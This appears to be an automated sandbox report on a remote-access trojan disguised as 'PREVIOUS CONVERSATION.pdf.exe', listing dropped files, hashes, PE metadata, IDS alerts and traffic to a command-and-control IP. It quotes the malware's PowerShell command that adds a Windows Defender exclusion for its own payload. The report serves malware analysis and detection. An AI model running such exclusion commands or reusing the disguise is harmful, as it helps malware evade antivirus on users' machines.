Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 40%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....2................0..\ ..........{ .. .... ...@.. .......................`#...........@..................................{ .W..... ......................@#...................................................... ............... ..H............text....[ .. ...\ ................. ..`.rsrc......... ......^ .............@..@.reloc.......@#.......#.............@..B.................{ .....H........3...G.......................................................... ...,.(.).;.#....0..............0...........{ .....0...........{!.....0...........(".....} .....}!.......0...........u.......;.... \|..U .S.Ka%..^E........k..._...........+...8....(#....{!....{!...o$.... ..."Z ...a+.(%....{ ....{ ...o&...,. .s.\|%+. .oUp%&. 7..Za8z.... Q..e8n....-. _<..%+. B.Y.%&. ....Za8O.......0..4....... ...C )UU.Z(%....{ ...o'...X )UU.Z(#....{!...o(...X.0..b........r...p......

C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Documents\20211206\PowerShell_transcript.424505.gYMBSUU1.20211206121812.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5793
Entropy (8bit):	5.402988544064389
Encrypted:	false
SSDEEP:	96:BZMjIN6qDo1ZFZpjIN6qDo1ZQ6oijZ7jIN6qDo1ZMfSSoZf:6
MD5:	72286E2CC65464A4067797B77393E659
SHA1:	51B4D4F2E8E694E82E7F7E5593BEEAD3466092E4
SHA-256:	257E3CE8B84EDE7EEA0F7995FD5779EC52C0A9010846C759247175F58997704F
SHA-512:	C92D44C9A4F8877648445B805F4E89FEAE177E0E0C4C8AE6AD4A46FAADD27D0E81FF0363A414B329BCF100DBE42A1040F1B6765AD52B1596454D00CB38C90545
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211206121813..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 424505 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe..Process ID: 6508..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211206121813..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe..********************..Windows PowerShell transcript start..Start time: 20211206122211..Username: computer\user..RunAs User: computer\jo

C:\Windows\Microsoft.NET\Framework\v4.0.30319\d70d27bc.bin Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.496569330187583
Encrypted:	false
SSDEEP:	6:i+I/4V7vIiuRYJhAq/opS88R0qxaI/4RaRYJhAq/c:iz/W7giJZwpS88R0QP/YZE
MD5:	B7DFCCF531CC875C23F211F1DF66CB36
SHA1:	B0E792F75A3D8498C7E0EE97E6E42BEDACBC3BBD
SHA-256:	F92D3CD165B54C77053125E2A9AE69BA79AF7B736088F7995501AE63C9258A3E
SHA-512:	DC845CBB7F15B628A500F14E3BF5770CE20C7E80A022C80585CB9A96BE0824C3B7BF4A9FDF8E7A4395371200188F0B93B4D3E73C835D43D531E12E5D08DAA5D2
Malicious:	false
Preview:	<block><date>nlY1sU7ouhy5gAgeD0uOuNVqD765vYHIkD+HgAMB/BY=</date><title>rmc9quvgAvydnSwuSZZ7WQ==</title></block><block><data>YTR/EykMjDrvRKGbJVw1xA==</data><date>nlY1sU7ouhy5gAgeD0uOuIjnGP8klpOSF9LBXewJung=</date><title>rmc9quvgAvydnSwuSZZ7WQ==</title></block>

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.857794521576697
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	PREVIOUS CONVERSATION.pdf.exe
File size:	2296320
MD5:	28241aafe5b6018c984e310c33e9e48b
SHA1:	d126c0cf51a98d9f3bd38efa6e61d4091104c624
SHA256:	9e6563c2c5e8a869bfdbf4ff1336bf2abcd238695d87f79a01b308216acc9cb5
SHA512:	730ae328d0cc82be717d24130073d8a3d0ec8e3b118e88dcb2b13071499c2efa03cf98905be68b2bc041a3245d792a113403272f67052963f3c4baeae15d0c98
SSDEEP:	49152:DeZkT1lcGocXfF7MGN3GBoqn8IEBYQpp2r7htbTUCdnLv:y6T1lcGpvjRGB77Up4n/l
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....2................0..\ ..........{ .. .... ...@.. .......................`#...........@................................

File Icon


Icon Hash:	c6f8e1ccccd89cc4

Static PE Info

General
Entrypoint:	0x607bde
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xD5B732DE [Sun Aug 15 10:58:38 2083 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x207b84	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x208000	0x2a988	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x234000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x205be4	0x205c00	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x208000	0x2a988	0x2aa00	False	0.170872663123	data	4.43862407978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x234000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x2082b0	0x28f5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x20aba8	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_ICON	0x21b3d0	0x94a8	data
RT_ICON	0x224878	0x5488	data
RT_ICON	0x229d00	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 254, next used block 520093696
RT_ICON	0x22df28	0x25a8	data
RT_ICON	0x2304d0	0x10a8	data
RT_ICON	0x231578	0x988	data
RT_ICON	0x231f00	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x232368	0x84	data
RT_VERSION	0x2323ec	0x3b0	data
RT_MANIFEST	0x23279c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Joshua Doore 2020 - 2022
Assembly Version	1.0.0.0
InternalName	STOREASSEMBLYSTATUSFLA.exe
FileVersion	1.0.0.0
CompanyName	Joshua Doore
LegalTrademarks
Comments
ProductName	Fine arts Photography
ProductVersion	1.0.0.0
FileDescription	Fine arts Photography
OriginalFilename	STOREASSEMBLYSTATUSFLA.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/06/21-12:18:27.366454	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:27.403276	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:27.442540	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:27.477565	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:27.512630	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.054864	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.090687	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.125964	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.161180	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.196343	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.236654	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.271886	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.306924	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.342141	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:28.377343	ICMP	402	ICMP Destination Unreachable Port Unreachable			185.243.215.214	192.168.2.4
12/06/21-12:18:33.642477	UDP	2032361	ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup	56627	53	192.168.2.4	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2021 12:18:33.722161055 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:33.722233057 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:33.722385883 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:33.746251106 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:33.746284962 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:33.877682924 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:33.877850056 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.242263079 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.242292881 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.242573023 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.242646933 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.246139050 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.288887024 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.465529919 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.465636969 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.465822935 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.469988108 CET	49774	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.470036983 CET	443	49774	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.566337109 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.566406012 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.566533089 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.567296982 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.567323923 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.844564915 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.844791889 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.845798016 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.845828056 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:34.853075981 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:34.853106976 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.435626030 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.435695887 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.435790062 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.435826063 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.436186075 CET	49775	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.436219931 CET	443	49775	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.470774889 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.470846891 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.470946074 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.471843004 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.471869946 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.635515928 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.635704041 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.639751911 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.639785051 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.646178961 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.646219015 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.847692966 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.847762108 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.847811937 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.847851992 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.848589897 CET	49776	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.848629951 CET	443	49776	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.853141069 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.853195906 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.853277922 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.854126930 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.854146004 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.855324030 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.855367899 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.855446100 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.856272936 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.856283903 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.971582890 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.971674919 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.972429991 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.972445965 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.978228092 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:35.978255033 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.989564896 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:35.989648104 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.047585011 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.047610998 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.054764032 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.054796934 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.276968956 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.277040958 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.277112961 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.281023979 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.281074047 CET	443	49777	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.281090021 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.281138897 CET	49777	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.492743969 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.492866039 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.492970943 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.497586966 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.497631073 CET	443	49778	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:36.497639894 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:36.498625994 CET	49778	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:37.860615015 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:37.860677958 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:37.860786915 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:37.861566067 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:37.861602068 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.176285028 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.176381111 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.177416086 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.177436113 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.184634924 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.184663057 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.621154070 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.621232033 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:38.621257067 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.621288061 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.621607065 CET	49779	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:38.621640921 CET	443	49779	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:40.625624895 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.625677109 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:40.625919104 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.626620054 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.626635075 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:40.799689054 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:40.799926043 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.800543070 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.800550938 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:40.806221962 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:40.806236982 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:41.189119101 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:41.189207077 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:41.189265966 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:41.189307928 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:41.189640999 CET	49782	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:41.189661026 CET	443	49782	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.206084967 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.206151009 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.206269026 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.207077026 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.207091093 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.299141884 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.299227953 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.303138018 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.303162098 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.309122086 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.309155941 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.554805040 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.554888010 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:43.555073023 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.555094004 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.555454016 CET	49783	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:43.555479050 CET	443	49783	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:45.616862059 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.616919994 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:45.617001057 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.653759956 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.653790951 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:45.936516047 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:45.936625004 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.941683054 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.941709042 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:45.948394060 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:45.948420048 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:46.300674915 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:46.300753117 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:46.300837994 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:46.300868988 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:46.301140070 CET	49784	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:46.301156998 CET	443	49784	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.314300060 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.314343929 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.314440966 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.315151930 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.315166950 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.401935101 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.402087927 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.402806997 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.402827024 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.410082102 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.410108089 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.746742964 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.746819973 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:48.746836901 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.746875048 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.747150898 CET	49785	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:48.747173071 CET	443	49785	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:50.829763889 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:50.829812050 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:50.829905033 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:50.830769062 CET	49786	443	192.168.2.4	45.153.186.90
